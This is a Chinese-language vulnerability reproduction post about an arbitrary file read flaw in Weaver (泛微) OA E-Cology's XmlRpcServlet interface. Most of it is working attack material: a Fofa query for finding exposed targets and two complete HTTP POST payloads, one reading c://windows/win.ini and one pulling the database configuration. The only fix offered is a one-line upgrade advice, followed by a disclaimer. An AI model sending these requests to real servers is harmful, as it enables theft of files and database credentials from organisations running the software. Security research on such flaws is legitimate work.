漏洞描述
泛微OA XmlRpcServlet 接口存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器任意文件。
网络空间会测
Fofa
app="泛微-OA(e-cology)"
漏洞复现
POST /weaver/org.apache.xmlrpc.webserver.XmlRpcServlet HTTP/1.1
Host:127.0.0.1
User-Agent:Mozilla/5.0(Windows NT 6.1; WOW64)AppleWebKit/536.11(KHTML, like Gecko)Chrome/20.0.1132.11TaoBrowser/2.0Safari/536.11
Content-Length:216
Content-Type: application/xml
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>WorkflowService.getAttachment</methodName>
<params>
<param>
<value><string>c://windows/win.ini</string></value>
</param>
</params>
</methodCall>
结果base64解密
读取 数据库配置信息
POST /weaver/org.apache.xmlrpc.webserver.XmlRpcServlet HTTP/1.1
Host:127.0.0.1
User-Agent:Mozilla/5.0(compatible; MSIE 9.0;Windows NT 6.1; WOW64;Trident/5.0; SLCC2;.NET CLR 2.0.50727;.NET CLR 3.5.30729;.NET CLR 3.0.30729;MediaCenter PC 6.0;.NET4.0C;.NET4.0E; LBBROWSER)
Content-Length:206
Content-Type: application/xml
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>WorkflowService.LoadTemplateProp</methodName>
<params>
<param>
<value><string>weaver</string></value>
</param>
</params>
</methodCall>
修复建议
升级产品到最新版本
原文始发于微信公众号(凝聚力安全团队):【漏洞复现】泛微OA E-Cology XmlRpcServlet 任意文件读取漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论